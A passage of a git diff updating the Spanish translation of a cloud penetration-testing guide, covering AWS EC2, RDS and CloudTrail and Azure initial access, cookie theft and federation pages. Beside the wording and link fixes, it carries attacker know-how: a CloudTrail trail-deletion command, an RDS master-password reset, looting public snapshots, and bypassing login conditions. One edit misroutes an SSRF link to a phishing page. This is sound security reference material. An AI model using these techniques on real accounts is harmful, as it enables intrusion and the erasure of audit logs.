paso adicional es la **creación de un** [_**perfil de instancia**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) adjunto a la instancia. El **perfil de instancia contiene el rol y** puede proporcionar las credenciales temporales del rol a una aplicación que se ejecuta en la instancia. Esas credenciales temporales pueden ser utilizadas en las llamadas API de la aplicación para acceder a recursos y limitar el acceso solo a aquellos recursos que el rol especifica. Ten en cuenta que **solo se puede asignar un rol a una instancia de EC2** a la vez, y todas las aplicaciones en la instancia comparten el mismo rol y permisos. -### Metadata Endpoint +### Punto de Metadata -Los metadatos de AWS EC2 son información sobre una instancia de Amazon Elastic Compute Cloud (EC2) que está disponible para la instancia en tiempo de ejecución. Estos metadatos se utilizan para proporcionar información sobre la instancia, como su ID de instancia, la zona de disponibilidad en la que se está ejecutando, el rol IAM asociado con la instancia y el nombre de host de la instancia. +La metadata de AWS EC2 es información sobre una instancia de Amazon Elastic Compute Cloud (EC2) que está disponible para la instancia en tiempo de ejecución. Esta metadata se utiliza para proporcionar información sobre la instancia, como su ID de instancia, la zona de disponibilidad en la que se está ejecutando, el rol de IAM asociado con la instancia y el nombre de host de la instancia. {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} -### Enumeration +### Enumeración ```bash # Get EC2 instances aws ec2 describe-instances @@ -150,11 +150,11 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de EC2 p Amazon **EBS** (Elastic Block Store) **snapshots** son básicamente **copias de seguridad** estáticas de volúmenes de AWS EBS. En otras palabras, son **copias** de los **discos** adjuntos a una **instancia EC2** en un momento específico. Los snapshots de EBS pueden ser copiados entre regiones y cuentas, o incluso descargados y ejecutados localmente. -Los snapshots pueden contener **información sensible** como **código fuente o claves de API**, por lo tanto, si tienes la oportunidad, se recomienda revisarlo. +Los snapshots pueden contener **información sensible** como **código fuente o claves de API**, por lo tanto, si tienes la oportunidad, se recomienda revisarlos. ### Diferencia AMI & EBS -Una **AMI** se utiliza para **lanzar una instancia EC2**, mientras que un **Snapshot** de EC2 se utiliza para **respaldar y recuperar datos almacenados en un volumen EBS**. Aunque un Snapshot de EC2 puede ser utilizado para crear una nueva AMI, no es lo mismo que una AMI, y no incluye información sobre el sistema operativo, servidor de aplicaciones u otro software requerido para ejecutar una aplicación. +Una **AMI** se utiliza para **lanzar una instancia EC2**, mientras que un **snapshot** de EC2 se utiliza para **respaldar y recuperar datos almacenados en un volumen EBS**. Aunque un snapshot de EC2 puede ser utilizado para crear una nueva AMI, no es lo mismo que una AMI, y no incluye información sobre el sistema operativo, servidor de aplicaciones u otro software requerido para ejecutar una aplicación. ### Escalación de Privilegios @@ -166,9 +166,9 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de EBS p ## SSM -**Amazon Simple Systems Manager (SSM)** permite gestionar de forma remota grupos de instancias EC2 para facilitar su administración. Cada una de estas instancias necesita estar ejecutando el **servicio SSM Agent, ya que este será el encargado de recibir las acciones y ejecutarlas** desde la API de AWS. +**Amazon Simple Systems Manager (SSM)** permite gestionar de forma remota grupos de instancias EC2 para facilitar mucho más su administración. Cada una de estas instancias necesita estar ejecutando el **servicio SSM Agent, ya que este será el encargado de recibir las acciones y ejecutarlas** desde la API de AWS. -**SSM Agent** permite que Systems Manager actualice, gestione y configure estos recursos. El agente **procesa solicitudes del servicio Systems Manager en la nube de AWS**, y luego las ejecuta según lo especificado en la solicitud. +El **SSM Agent** permite que Systems Manager actualice, gestione y configure estos recursos. El agente **procesa solicitudes del servicio Systems Manager en la nube de AWS**, y luego las ejecuta según lo especificado en la solicitud. El **SSM Agent viene**[ **preinstalado en algunas AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) o necesitas [**instalarlos manualmente**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) en las instancias. Además, el rol de IAM utilizado dentro de la instancia necesita tener la política **AmazonEC2RoleforSSM** adjunta para poder comunicarse. @@ -195,7 +195,7 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de SSM p ## ELB -**Elastic Load Balancing** (ELB) es un **servicio de balanceo de carga para implementaciones de Amazon Web Services** (AWS). ELB **distribuye automáticamente el tráfico de aplicación entrante** y escala los recursos para satisfacer las demandas de tráfico. +**Elastic Load Balancing** (ELB) es un **servicio de balanceo de carga para implementaciones de Amazon Web Services** (AWS). ELB automáticamente **distribuye el tráfico de aplicación entrante** y escala recursos para satisfacer las demandas de tráfico. ### Enumeration ```bash @@ -237,7 +237,7 @@ aws-nitro-enum.md ## VPN -Una VPN permite conectar tu **red local (VPN sitio a sitio)** o las **laptops de los trabajadores (VPN de cliente)** con un **AWS VPC** para que los servicios puedan ser accedidos sin necesidad de exponerlos a Internet. +Una VPN permite conectar tu **red local (VPN sitio a sitio)** o las **laptops de los trabajadores (VPN de cliente)** con una **AWS VPC** para que los servicios puedan ser accedidos sin necesidad de exponerlos a Internet. #### Componentes Básicos de AWS VPN @@ -252,7 +252,7 @@ Una VPN permite conectar tu **red local (VPN sitio a sitio)** o las **laptops de - VPG es el punto final del lado de AWS para la conexión VPN. - Maneja la comunicación segura entre tu VPC y tu red local. 3. **Site-to-Site VPN Connection**: -- Una conexión VPN sitio a sitio conecta tu red local a un VPC a través de un túnel VPN IPsec seguro. +- Una conexión VPN sitio a sitio conecta tu red local a una VPC a través de un túnel VPN IPsec seguro. - Este tipo de conexión requiere un Customer Gateway y un Virtual Private Gateway. - Se utiliza para una comunicación segura, estable y consistente entre tu centro de datos o red y tu entorno AWS. - Típicamente se utiliza para conexiones regulares y a largo plazo y se factura según la cantidad de datos transferidos a través de la conexión. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 42d383d51..c81124cc5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -4,7 +4,7 @@ ## Información Básica -El **Servicio de Base de Datos Relacional (RDS)** ofrecido por AWS está diseñado para simplificar el despliegue, operación y escalado de una **base de datos relacional en la nube**. Este servicio ofrece las ventajas de eficiencia de costos y escalabilidad mientras automatiza tareas laboriosas como la provisión de hardware, configuración de bases de datos, parches y copias de seguridad. +El **Servicio de Base de Datos Relacional (RDS)** ofrecido por AWS está diseñado para simplificar el despliegue, operación y escalado de una **base de datos relacional en la nube**. Este servicio ofrece las ventajas de eficiencia de costos y escalabilidad mientras automatiza tareas que requieren mucho trabajo, como la provisión de hardware, configuración de bases de datos, parches y copias de seguridad. AWS RDS soporta varios motores de bases de datos relacionales ampliamente utilizados, incluyendo MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server y Amazon Aurora, con compatibilidad para MySQL y PostgreSQL. @@ -15,7 +15,7 @@ Las características clave de RDS incluyen: - Configuración de **despliegues en múltiples Zonas de Disponibilidad (AZ)** para asegurar alta disponibilidad y mecanismos de conmutación por error. - **Integración** con otros servicios de AWS, como: - AWS Identity and Access Management (**IAM**) para un control de acceso robusto. -- AWS **CloudWatch** para monitoreo y métricas integrales. +- AWS **CloudWatch** para monitoreo y métricas completas. - AWS Key Management Service (**KMS**) para asegurar la encriptación en reposo. ## Credenciales @@ -53,7 +53,7 @@ Sin embargo, hay un **método alternativo que te permite encriptar una base de d #### Encriptación de Datos Transparente (TDE) -Junto con las capacidades de encriptación inherentes a RDS a nivel de aplicación, RDS también soporta **mecanismos de encriptación a nivel de plataforma adicionales** para salvaguardar los datos en reposo. Esto incluye **Encriptación de Datos Transparente (TDE)** para Oracle y SQL Server. Sin embargo, es crucial notar que aunque TDE mejora la seguridad al encriptar datos en reposo, también puede **afectar el rendimiento de la base de datos**. Este impacto en el rendimiento es especialmente notable cuando se utiliza en conjunto con funciones criptográficas de MySQL o funciones criptográficas de Microsoft Transact-SQL. +Junto con las capacidades de encriptación inherentes a RDS a nivel de aplicación, RDS también soporta **mecanismos de encriptación a nivel de plataforma adicionales** para proteger los datos en reposo. Esto incluye **Encriptación de Datos Transparente (TDE)** para Oracle y SQL Server. Sin embargo, es crucial notar que aunque TDE mejora la seguridad al encriptar datos en reposo, también puede **afectar el rendimiento de la base de datos**. Este impacto en el rendimiento es especialmente notable cuando se utiliza en conjunto con funciones criptográficas de MySQL o funciones criptográficas de Microsoft Transact-SQL. Para utilizar TDE, se requieren ciertos pasos preliminares: @@ -61,7 +61,7 @@ Para utilizar TDE, se requieren ciertos pasos preliminares: - La base de datos debe estar asociada con un grupo de opciones. Los grupos de opciones sirven como contenedores para configuraciones y características, facilitando la gestión de bases de datos, incluyendo mejoras de seguridad. - Sin embargo, es importante notar que los grupos de opciones solo están disponibles para motores de bases de datos y versiones específicas. 2. **Inclusión de TDE en el Grupo de Opciones**: -- Una vez asociado con un grupo de opciones, la opción de Encriptación de Datos Transparente de Oracle necesita ser incluida en ese grupo. +- Una vez asociada con un grupo de opciones, la opción de Encriptación de Datos Transparente de Oracle debe ser incluida en ese grupo. - Es esencial reconocer que una vez que la opción TDE se añade a un grupo de opciones, se convierte en una característica permanente y no puede ser eliminada. 3. **Modos de Encriptación TDE**: - TDE ofrece dos modos de encriptación distintos: @@ -134,7 +134,7 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password Hay formas de acceder a los datos de DynamoDB con **sintaxis SQL**, por lo tanto, **inyecciones SQL típicas también son posibles**. {{#ref}} -https://book.hacktricks.xyz/pentesting-web/sql-injection +https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html {{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 39102f545..ed5f4986b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **registra y monitorea la actividad dentro de su entorno AWS**. Captura **registros de eventos** detallados, incluyendo quién hizo qué, cuándo y desde dónde, para todas las interacciones con los recursos de AWS. Esto proporciona un rastro de auditoría de cambios y acciones, ayudando en el análisis de seguridad, auditoría de cumplimiento y seguimiento de cambios en los recursos. CloudTrail es esencial para entender el comportamiento de usuarios y recursos, mejorar las posturas de seguridad y asegurar el cumplimiento regulatorio. +AWS CloudTrail **registra y monitorea la actividad dentro de tu entorno AWS**. Captura **registros de eventos** detallados, incluyendo quién hizo qué, cuándo y desde dónde, para todas las interacciones con los recursos de AWS. Esto proporciona un rastro de auditoría de cambios y acciones, ayudando en el análisis de seguridad, auditoría de cumplimiento y seguimiento de cambios en los recursos. CloudTrail es esencial para entender el comportamiento de usuarios y recursos, mejorar las posturas de seguridad y asegurar el cumplimiento regulatorio. Cada evento registrado contiene: @@ -21,10 +21,10 @@ Cada evento registrado contiene: Los eventos se escriben en un nuevo archivo de registro **aproximadamente cada 5 minutos en un archivo JSON**, son retenidos por CloudTrail y finalmente, los archivos de registro son **entregados a S3 aproximadamente 15 minutos después**.\ Los registros de CloudTrail pueden ser **agregados a través de cuentas y regiones.**\ -CloudTrail permite usar **la integridad del archivo de registro para poder verificar que sus archivos de registro no han cambiado** desde que CloudTrail se los entregó. Crea un hash SHA-256 de los registros dentro de un archivo de resumen. Un hash sha-256 de los nuevos registros se crea cada hora.\ -Al crear un Trail, los selectores de eventos le permitirán indicar el tipo de registro: eventos de gestión, datos o de información. +CloudTrail permite usar **la integridad del archivo de registro para poder verificar que tus archivos de registro no han cambiado** desde que CloudTrail te los entregó. Crea un hash SHA-256 de los registros dentro de un archivo de resumen. Un hash sha-256 de los nuevos registros se crea cada hora.\ +Al crear un Trail, los selectores de eventos te permitirán indicar el tipo de registro: eventos de gestión, de datos o de información. -Los registros se guardan en un bucket de S3. Por defecto, se utiliza el cifrado del lado del servidor (SSE-S3), por lo que AWS descifrará el contenido para las personas que tienen acceso a él, pero para mayor seguridad puede usar SSE con KMS y sus propias claves. +Los registros se guardan en un bucket de S3. Por defecto, se utiliza el cifrado del lado del servidor (SSE-S3), por lo que AWS descifrará el contenido para las personas que tengan acceso a él, pero para mayor seguridad puedes usar SSE con KMS y tus propias claves. Los registros se almacenan en un **bucket de S3 con este formato de nombre**: @@ -32,7 +32,7 @@ Los registros se almacenan en un **bucket de S3 con este formato de nombre**: - Siendo el BucketName: **`aws-cloudtrail-logs--`** - Ejemplo: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Dentro de cada carpeta, cada registro tendrá un **nombre que sigue este formato**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +Dentro de cada carpeta, cada registro tendrá un **nombre siguiendo este formato**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** Convención de Nombres de Archivos de Registro @@ -44,30 +44,30 @@ Además, **los archivos de resumen (para verificar la integridad del archivo)** ### Agregar Registros de Múltiples Cuentas -- Cree un Trail en la cuenta de AWS donde desea que se entreguen los archivos de registro -- Aplique permisos al bucket de S3 de destino permitiendo el acceso entre cuentas para CloudTrail y permita a cada cuenta de AWS que necesite acceso -- Cree un nuevo Trail en las otras cuentas de AWS y seleccione usar el bucket creado en el paso 1 +- Crea un Trail en la cuenta de AWS donde deseas que se entreguen los archivos de registro +- Aplica permisos al bucket de S3 de destino permitiendo el acceso entre cuentas para CloudTrail y permite a cada cuenta de AWS que necesite acceso +- Crea un nuevo Trail en las otras cuentas de AWS y selecciona usar el bucket creado en el paso 1 -Sin embargo, incluso si puede guardar todos los registros en el mismo bucket de S3, no puede agregar los registros de CloudTrail de múltiples cuentas en un CloudWatch Logs perteneciente a una sola cuenta de AWS. +Sin embargo, incluso si puedes guardar todos los registros en el mismo bucket de S3, no puedes agregar registros de CloudTrail de múltiples cuentas en un CloudWatch Logs perteneciente a una sola cuenta de AWS. > [!CAUTION] -> Recuerde que una cuenta puede tener **diferentes Trails** de CloudTrail **habilitados** almacenando los mismos (o diferentes) registros en diferentes buckets. +> Recuerda que una cuenta puede tener **diferentes Trails** de CloudTrail **habilitados** almacenando los mismos (o diferentes) registros en diferentes buckets. -### Cloudtrail de todas las cuentas de la organización en 1 +### CloudTrail de todas las cuentas de la organización en 1 Al crear un CloudTrail, es posible indicar que se active CloudTrail para todas las cuentas en la organización y obtener los registros en solo 1 bucket:
-De esta manera, puede configurar fácilmente CloudTrail en todas las regiones de todas las cuentas y centralizar los registros en 1 cuenta (que debe proteger). +De esta manera, puedes configurar fácilmente CloudTrail en todas las regiones de todas las cuentas y centralizar los registros en 1 cuenta (que debes proteger). ### Verificación de Archivos de Registro -Puede verificar que los registros no han sido alterados ejecutando +Puedes verificar que los registros no han sido alterados ejecutando ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` -### Registros a CloudWatch +### Logs to CloudWatch **CloudTrail puede enviar automáticamente registros a CloudWatch para que puedas establecer alertas que te adviertan cuando se realicen actividades sospechosas.**\ Ten en cuenta que para permitir que CloudTrail envíe los registros a CloudWatch, se necesita crear un **rol** que permita esa acción. Si es posible, se recomienda usar el rol predeterminado de AWS para realizar estas acciones. Este rol permitirá a CloudTrail: @@ -75,37 +75,37 @@ Ten en cuenta que para permitir que CloudTrail envíe los registros a CloudWatch - CreateLogStream: Esto permite crear flujos de registro de CloudWatch Logs - PutLogEvents: Entregar registros de CloudTrail al flujo de registro de CloudWatch Logs -### Historial de Eventos +### Event History El Historial de Eventos de CloudTrail te permite inspeccionar en una tabla los registros que han sido grabados: ![](<../../../../images/image (89).png>) -### Perspectivas +### Insights **CloudTrail Insights** analiza automáticamente los eventos de gestión de escritura de los senderos de CloudTrail y te **alerta** sobre **actividades inusuales**. Por ejemplo, si hay un aumento en los eventos de `TerminateInstance` que difiere de las líneas base establecidas, lo verás como un evento de Insight. Estos eventos hacen que **encontrar y responder a actividades inusuales de API sea más fácil** que nunca. -Las perspectivas se almacenan en el mismo bucket que los registros de CloudTrail en: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Los insights se almacenan en el mismo bucket que los registros de CloudTrail en: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` -### Seguridad +### Security | Integridad del Archivo de Registro de CloudTrail |
  • Validar si los registros han sido manipulados (modificados o eliminados)
  • Utiliza archivos de resumen (crea un hash para cada archivo)

    • Hashing SHA-256
    • SHA-256 con RSA para firma digital
    • clave privada propiedad de Amazon
  • Toma 1 hora crear un archivo de resumen (hecho en la hora cada hora)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Detener el acceso no autorizado |
  • Usar políticas de IAM y políticas de bucket de S3

    • equipo de seguridad —> acceso de administrador
    • auditores —> acceso solo de lectura
  • Usar SSE-S3/SSE-KMS para cifrar los registros
| -| Prevenir que los archivos de registro sean eliminados |
  • Restringir el acceso de eliminación con políticas de IAM y de bucket
  • Configurar la eliminación MFA de S3
  • Validar con la Validación de Archivos de Registro
| +| Prevenir que los archivos de registro sean eliminados |
  • Restringir el acceso de eliminación con políticas de IAM y bucket
  • Configurar la eliminación MFA de S3
  • Validar con la Validación de Archivos de Registro
| -## Asesor de Acceso +## Access Advisor -AWS Access Advisor se basa en los últimos 400 días de registros de **CloudTrail de AWS para recopilar sus perspectivas**. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. Access Advisor utiliza estos datos para **mostrar cuándo se accedió por última vez a los servicios**. Al analizar los registros de CloudTrail, Access Advisor puede determinar qué servicios de AWS ha accedido un usuario o rol de IAM y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre **refinar permisos**, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos excesivamente amplios basados en patrones de uso reales. +AWS Access Advisor se basa en los últimos 400 días de registros de **CloudTrail de AWS para recopilar sus insights**. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. Access Advisor utiliza estos datos para **mostrar cuándo se accedió por última vez a los servicios**. Al analizar los registros de CloudTrail, Access Advisor puede determinar qué servicios de AWS ha accedido un usuario o rol de IAM y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre **refinar permisos**, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos excesivamente amplios basados en patrones de uso reales. > [!TIP] > Por lo tanto, Access Advisor informa sobre **los permisos innecesarios que se están otorgando a los usuarios** para que el administrador pueda eliminarlos
-## Acciones +## Actions -### Enumeración +### Enumeration ```bash # Get trails info aws cloudtrail list-trails @@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store --query-id ) > [!CAUTION] -> Ten en cuenta que todas las API públicas descubiertas que no estaban creando registros de CloudTrail ahora están corregidas, así que tal vez necesites encontrar las tuyas... +> Ten en cuenta que todas las API públicas descubiertas que no estaban creando logs de CloudTrail ahora están corregidas, así que tal vez necesites encontrar las tuyas... > > Para más información, consulta la [**investigación original**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). @@ -216,7 +216,7 @@ Más información en: ### Modificando la Configuración de CloudTrail -#### Eliminar senderos +#### Eliminar trails ```bash aws cloudtrail delete-trail --name [trail-name] ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 65fca05a4..961b1b520 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -12,12 +12,12 @@ Consulta en esta página más información sobre esto: ### Puertos Públicos -Es posible exponer **cualquier puerto de las máquinas virtuales a internet**. Dependiendo de **lo que esté corriendo** en el puerto expuesto, un atacante podría abusar de ello. +Es posible exponer **cualquier puerto de las máquinas virtuales a Internet**. Dependiendo de **lo que esté corriendo** en el puerto expuesto, un atacante podría abusar de ello. #### SSRF {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} ### AMIs Públicas y Snapshots de EBS @@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -Si encuentras un snapshot que es restaurable por cualquier persona, asegúrate de consultar [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) para obtener instrucciones sobre cómo descargar y saquear el snapshot. +Si encuentras un snapshot que es restaurable por cualquier persona, asegúrate de revisar [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) para obtener instrucciones sobre cómo descargar y saquear el snapshot. #### Plantilla de URL pública ```bash diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 3776132de..39a2fa6fc 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -18,7 +18,7 @@ Desde el punto de vista de un Red Team, el **primer paso para comprometer un ent - **Ingeniería** Social - Reutilización de **contraseñas** (filtraciones de contraseñas) - Vulnerabilidades en Aplicaciones Alojadas en Azure -- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con acceso al endpoint de metadatos +- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) con acceso al endpoint de metadatos - **Lectura de Archivos Locales** - `/home/USERNAME/.azure` - `C:\Users\USERNAME\.azure` @@ -28,8 +28,8 @@ Desde el punto de vista de un Red Team, el **primer paso para comprometer un ent - Versiones anteriores de **`Az PowerShell`** almacenaban **tokens de acceso** en **texto claro** en **`TokenCache.dat`**. También almacena **ServicePrincipalSecret** en **texto claro** en **`AzureRmContext.json`**. El cmdlet **`Save-AzContext`** se puede usar para **almacenar** **tokens**.\ Usa `Disconnect-AzAccount` para eliminarlos. - Terceros **comprometidos** -- **Empleado** Interno -- [**Phishing Común**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credenciales o aplicación Oauth) +- Empleado **Interno** +- [**Phishing Común**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (credenciales o aplicación Oauth) - [Phishing de Autenticación con Código de Dispositivo](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [**Password Spraying** de Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) @@ -52,7 +52,7 @@ az-unauthenticated-enum-and-initial-entry/ Si encontraste un SSRF en una máquina dentro de Azure, consulta esta página para trucos: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html {{#endref}} ### Bypass de Condiciones de Inicio de Sesión @@ -64,7 +64,7 @@ En casos donde tienes algunas credenciales válidas pero no puedes iniciar sesi - **Lista blanca de IP** -- Necesitas comprometer una IP válida - **Restricciones geográficas** -- Encuentra dónde vive el usuario o dónde están las oficinas de la empresa y obtén una IP de la misma ciudad (o país al menos) - **Navegador** -- Tal vez solo se permite un navegador de cierto SO (Windows, Linux, Mac, Android, iOS). Descubre qué SO usa la víctima/empresa. -- También puedes intentar **comprometer las credenciales del Service Principal** ya que suelen ser menos limitadas y su inicio de sesión es menos revisado +- También puedes intentar **comprometer las credenciales del Service Principal** ya que generalmente son menos limitadas y su inicio de sesión es menos revisado Después de eludirlo, podrías ser capaz de volver a tu configuración inicial y aún tendrás acceso. @@ -126,7 +126,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user ### Enumeración de ENtra ID -Por defecto, cualquier usuario debería tener **suficientes permisos para enumerar** cosas como, usuarios, grupos, roles, principales de servicio... (ver [permisos predeterminados de AzureAD](az-basic-information/#default-user-permissions)).\ +Por defecto, cualquier usuario debería tener **suficientes permisos para enumerar** cosas como usuarios, grupos, roles, principales de servicio... (ver [permisos predeterminados de AzureAD](az-basic-information/index.html#default-user-permissions)).\ Aquí puedes encontrar una guía: {{#ref}} @@ -147,7 +147,7 @@ Usa portal.azure.com y selecciona la shell, o usa shell.azure.com, para un bash ## Azure DevOps -Azure DevOps es independiente de Azure. Tiene repositorios, pipelines (yaml o release), tableros, wiki, y más. Los Grupos de Variables se utilizan para almacenar valores de variables y secretos. +Azure DevOps es independiente de Azure. Tiene repositorios, pipelines (yaml o release), tableros, wiki y más. Los Grupos de Variables se utilizan para almacenar valores de variables y secretos. ## Debug | MitM az cli diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index ef0e54fc0..88d258de0 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -9,15 +9,15 @@ Las **cookies** del navegador son un gran mecanismo para **eludir la autenticaci Puedes ver dónde están **ubicadas las cookies del navegador** en: {{#ref}} -https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.html#google-chrome {{#endref}} ## Ataque -La parte desafiante es que esas **cookies están encriptadas** para el **usuario** a través de la API de Protección de Datos de Microsoft (**DPAPI**). Esto está encriptado utilizando [claves criptográficas vinculadas al usuario](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) al que pertenecen las cookies. Puedes encontrar más información sobre esto en: +La parte desafiante es que esas **cookies están encriptadas** para el **usuario** a través de la API de Protección de Datos de Microsoft (**DPAPI**). Esto se encripta utilizando [claves criptográficas vinculadas al usuario](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) al que pertenecen las cookies. Puedes encontrar más información sobre esto en: {{#ref}} -https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords +https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html {{#endref}} Con Mimikatz en mano, puedo **extraer las cookies de un usuario** aunque estén encriptadas con este comando: diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index d6899d37d..604357f0d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -24,30 +24,30 @@ En cualquier configuración de federación hay tres partes:
-1. Inicialmente, un usuario accede a una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere). Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica. -2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido. -3. El IdP toma el control, autenticando al usuario. Después de la autenticación, una SAMLResponse es formulada por el IdP y enviada al SP a través del usuario. +1. Inicialmente, una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere) es accedida por un usuario. Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica. +2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego, elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido. +3. El IdP toma el control, autenticando al usuario. Después de la autenticación, se formula una SAMLResponse por el IdP y se reenvía al SP a través del usuario. 4. Finalmente, el SP evalúa la SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio. **Si deseas aprender más sobre la autenticación SAML y ataques comunes, ve a:** {{#ref}} -https://book.hacktricks.xyz/pentesting-web/saml-attacks +https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html {{#endref}} -## Pivotar +## Pivoting -- AD FS es un modelo de identidad basado en reclamos. -- "..los 